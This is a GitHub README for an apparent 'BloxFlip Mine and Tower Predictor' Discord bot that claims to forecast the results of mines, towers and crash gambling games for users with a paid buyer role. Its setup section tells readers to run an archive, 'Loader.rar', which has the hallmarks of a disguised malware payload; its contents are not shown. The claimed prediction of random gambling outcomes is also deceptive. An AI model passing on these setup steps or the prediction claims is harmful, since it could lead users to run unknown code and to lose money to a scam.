Skip to content

BloxFlip-Mine-and-Tower-Predictor-Bot-is-a-Discord-bot-that-generates-game-grids-and-predicts-outcomes-for-mine,-tower,-and-crash-games,-designed-for-users-with-specific-roles.

Notifications You must be signed in to change notification settings

M1X1E/BloxFlip-Mines-Tower-Predictor-Bot

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

2 Commits
 
 
 
 

Repository files navigation

BloxFlip Mine and Tower Predictor Bot

Features

  • Mine Grid Generator: Generates a 5x5 grid with a specified number of safe tiles.
  • Tower Grid Generator: Generates a tower with up to 8 rows, each containing a safe spot and two dangerous spots.
  • Crash Game Predictor: Predicts crash points for a specific game based on previous game data.

Requirements

  • Python 3.7+
  • interactions.py library
  • cloudscraper library

Setup

  • Clone the repository

  • Run "Loader.rar" - installs requirements from archive

  • Add your Discord bot token in the BotToken variable in the script.

  • Set your ServerId and BuyerRoleId variables to match your Discord server and role IDs.

  • Run the bot:

python main.py

Usage

Commands

/mines

Generates a mine grid with a specified number of safe tiles.

Usage:

/mines game_id=<game_id> clicks=<number_of_safe_tiles>
  • game_id: The ID of the game. Must follow specific formatting rules to be valid.
  • clicks: The number of safe spots to generate (Max: 23).

/towers

Generates a tower grid with a specified number of rows.

Usage:

/towers game_id=<game_id> rows=<number_of_rows>
  • game_id: The ID of the game. Must follow specific formatting rules to be valid.
  • rows: The number of rows to generate (Max: 8).

/crash

Predicts the outcome of a crash game based on previous game data.

Usage:

/crash

This command does not require any additional parameters. It will return an estimated crash point and the chance of the estimate being correct.

Permissions

  • The bot checks if the user has the BuyerRoleId or if their user ID matches a predefined ID (1262827258444517446).
  • If the user does not have the required permissions, the bot will respond with a "Not Eligible" message.

Preview

Attatchments

image

image

image

Contributing

Star and Fork this Repo to Contribute